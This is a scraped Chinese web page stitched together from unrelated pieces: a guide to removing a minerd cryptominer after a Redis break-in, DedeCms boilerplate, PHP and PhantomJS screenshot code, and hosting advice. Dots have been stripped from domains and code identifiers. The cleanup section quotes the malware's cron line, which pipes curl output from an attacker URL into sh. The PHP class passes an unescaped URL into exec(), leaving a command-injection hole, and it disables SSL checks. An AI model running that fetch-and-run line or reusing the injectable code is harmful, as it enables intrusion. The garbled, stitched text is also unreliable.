php如何调用phantomJS截图,第1张

1 关闭访问挖矿服务器的访问

iptables -A INPUT -s xmrcrypto-poolfr -j DROP and iptables -A OUTPUT -d xmrcrypto-poolfr -j DROP

2 chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。

3 pkill minerd ,杀掉进程

4 service stop crond 或者 crontab -r 删除所有的执行计划

5 执行top,查看了一会,没有再发现minerd 进程了。

6检查/var/spool/cron/目录下发现有个root用户的定时器文件。

下载脚本的语句:

/5 curl -fsSL http://wwwhaveabitchincom/pmsh0105010 | sh

病毒文件内容如下,感兴趣的可以研究下:

 View Code

解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blogjobbolecom/94518/然后就注入了病毒,下面是解决办法和清除工作:

1 修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379

配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中

配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf

2 打开 ~/ssh/authorized_keys, 删除你不认识的账号

3 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉

DedeCms是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。作用是构建域名为com、cx、cn、cc、net等中小型网站。中文名织梦,管理系统名称PHP开源。

DedeCm经超过20万以上站长级用户群经过长达4年之久的广泛应用和复杂化环境的检测,系统在安全性、稳定性、易用性方面具有较高的声誉,倍受广大站长推崇。 DedeCms采用PHP+MySQL技术开发,程序源代码完全开放,在尊重版权的前提下能极大地满足站长对于网站程序进行二次开发。

扩展资料

DedeCms的运行环境

1、Windows 平台

IIS/Apache + PHP4/PHP5 + MySQL3/4/5 如果在windows环境中使用,建议用DedeCMS提供的DedeAMPZ套件以达到最佳使用性能。

2、Linux/Unix 平台

Apache + PHP4/PHP5 + MySQL3/4/5 (PHP必须在非安全模式下运行) 建议使用平台:Linux+ Apache22 + PHP52 + MySQL50。

3、PHP必须环境或启用的系统函数

allow_url_fopen GD扩展库 MySQL扩展库 系统函数 —— phpinfo、dir。

-织梦 (PHP开源网站内容管理系统)

推荐:《PHP视频教程》

php调用phantomJS截图

知识储备

unix系统安装phantomjs,权限相关知识

基本JavaScript语法知识

php exec函数调用REPL phantomjs

phantomjs js截图文档 http://javascriptruanyifengcom/tool/phantomjshtml

代码(php 代码环境为yii2框架)

<php

namespace weapp\library\phantomjs;

use weapp\library\BizException;

class ScreenShot

{

/ @var string 获取phantomjs 参数中 js文件的决定路径 /

private $js_path;

/ @var bool|string 获取php 有777权限的临时文件目录 /

private $temp_dir;

function __construct()

{

$dir = __DIR__;

$this->js_path = "{$dir}/scriptjs";

/ @var bool|string 获取php 有777权限的临时文件目录 /

$this->temp_dir = \Yii::getAlias('@runtime');

}

/

截图并上传

@param string $url

@param string $filename

@return string

@throws BizException

/

public function screenShotThenSaveToOss(string $url, string $filename = 'tempjpg')

{

//输出的路径

$outputFilePath = "{$this->temp_dir}/$filename";

//执行的phantomjs命令

//phantomjs 可执行文件必须是 绝对路径 否则导致 exec 函数返回值127错误

$cmd = "\usr\local\bin\phantomjs {$this->js_path} '$url' '$outputFilePath'";

//捕捉不到phantomjs命令输出结果

exec($cmd, $output);

//检查截图文件是否存在

$isShotImgaeExist = file_exists($outputFilePath);

if (!$isShotImgaeExist) {

throw new BizException(0, 'phantomjs截图失败', BizException::SELF_DEFINE);

}

//保存截图到oss

$result = $this->postScreenShotImageToOss($outputFilePath);

//删除临时文件夹的截图

unlink($outputFilePath);

return $result;

}

/

上传截图到阿里云直传oss

@param string $screenshot_path

@return string

/

public function postScreenShotImageToOss(string $screenshot_path): string

{

$ossKey = 'raw_file_name';

$file = new \CURLFile($screenshot_path, 'image/jpeg', 'file');

$tokenArray = $this->getOssPolicyToken('fetch');

$url = $tokenArray->host;

$postData = [

'key' => "{$tokenArray->dir}/$ossKey",

'policy' => $tokenArray->policy,

'OSSAccessKeyId' => $tokenArray->accessid,

'success_action_status' => '200',

'signature' => $tokenArray->signature,

'callback' => $tokenArray->callback,

'file' => $file

];

$ch = curl_init();

//$data = array('name' => 'Foo', 'file' => '@/home/user/testpng');

curl_setopt($ch, CURLOPT_URL, $url);

// Disable SSL verification

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_SAFE_UPLOAD, true); // required as of PHP 560

curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_TIMEOUT, 20);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);

//curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: $mime_type"]);

$res = curl_exec($ch);

$res = json_decode($res);

curl_close($ch);

if (empty($res) || $res->code != 0) {

return '';

} else {

return $res->data->url;

}

}

/

调用管理后台阿里云oss token接口

@param null $url

@return array

/

public function getOssPolicyToken($url = null)

{

$url = \Yii::$app->params['oss_screen_shot_token_api'];

$ch = curl_init();

// Disable SSL verification

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Will return the response, if false it print the response

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the url

curl_setopt($ch, CURLOPT_URL, $url);

// Execute

$result = curl_exec($ch);

// Closing

curl_close($ch);

$res = json_decode($result);

if (empty($res) || $res->code != 0) {

return [];

} else {

return $res->data;

}

}

}

phantomjs javascript脚本内容

"use strict";

var system = require('system');

var webPage = require('webpage');

var page = webPagecreate();

//设置phantomjs的浏览器user-agent

pagesettingsuserAgent = 'Mozilla/50 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604138 (KHTML, like Gecko) Version/110 Mobile/15A372 Safari/6041';

//获取php exec 函数的命令行参数

if (systemargslength !== 3) {

consolelog(systemargs);

consolelog('参数错误');

consolelog('第2个参数为url地址 第3个参数为截图文件名称');

phantomexit(1);

}

//命令行 截图网址参数

var url = systemargs[1];

//输出路径

var filePath = systemargs[2];

consolelog('-------');

consolelog(url);

consolelog('-------');

consolelog(filePath);

consolelog('-------');

//设置浏览器视口

pageviewportSize = {width: 480, height: 960};

//打开网址

pageopen(url, function start(status) {

//1000ms之后开始截图

setTimeout(function () {

//截图格式为jpg 80%的质量

pagerender(filePath, {format: 'jpg', quality: '80'});

consolelog('success');

//退出phantomjs 避免phantomjs导致内存泄露

phantomexit();

}, 1000);

});

看需求吧,如果是发展前期,预算不足,个人小博客,就随意了,景安相对要便宜

就市场份额来说,阿里云就高太多了,大企业,大网站大部分都是阿里云的,阿里云的技术更强一些,云服务也更稳定,所以如果对稳定性和技术要求高的,就果断阿里云了

如果对这方面要求不太高的话,就景安

建站需要域名,服务器和建站程序

域名和服务器可以用阿里云的,大服务商比较稳定:网页链接

虚机是不太推荐,因为共享IP的虚机后期影响优化,独立IP的虚机不如服务器有性价比哈

有了域名和服务器就差建站程序了,论坛的话,可以用discuz来做,博客用dedecms或者wordpress,z-blog,企业站用dede,开源程序还有很多可以选择的

前期的话,服务器可以用win系统的,操作简单,新手也容易上手

建站大概流程就是

域名实名认证,服务器如果是国内的先备案,都可以在服务商后台操作的

都好了之后,域名解析到服务器

服务器配置环境,win系统直接用宝塔配置换,PHP+MYSQL+IIS  就可以的

服务器开设空间,绑定域名和开设数据库,这个都用宝塔来操作

上传网站程序到开设空间对应的文件夹里

访问域名搭建网站

网上都可以找到对应的教程 的,新手还是比较容易上手的哈

安全方面,服务器要再装一个安全狗,这样网站不容易被入侵

这些都好了之后,就要学seo了~增加网站在搜索引擎中的曝光率

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » php如何调用phantomJS截图

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情